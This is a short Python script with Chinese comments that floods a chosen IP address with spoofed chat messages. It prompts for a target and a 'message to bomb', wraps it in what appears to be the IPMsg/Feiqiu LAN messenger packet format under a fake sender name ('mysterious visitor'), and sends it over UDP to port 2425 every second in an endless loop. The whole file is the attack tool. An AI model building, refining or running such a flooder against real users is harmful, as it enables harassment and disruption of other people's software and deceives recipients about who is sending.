'''
/*
 * @Author: wevsmy 
 * @Date: 2017-10-24 19:16:33 
 * @Last Modified by: wevsmy
 * @Last Modified time: 2017-10-24 20:04:39
 */
'''
#codfig=utf-8
#导入socket
from socket import *
from multiprocessing import Pool
import os,time,random

def worker(newstr,newadder):
    udpSocket.sendto(newstr.encode("gb2312"),newadder)

def getInputStr():
    newMsg = input("要轰炸的消息：")
    newStr = "1:12312312312:神秘来客:神秘来客:32:" + newMsg
    return newStr
def getInputAdder():
    newIp = input("对方ip:")
    adder = (newIp,2425)
    return adder

#创建socket
udpSocket = socket(AF_INET,SOCK_DGRAM)
#获取数据
newadder = getInputAdder()
newstr = getInputStr()
#发送数据
pool=Pool(3) #定义一个进程池，最大进程数3
while True:
    pool.apply_async(worker,(newstr,newadder))
    time.sleep(1)

#关闭socket
udpSocket.close()
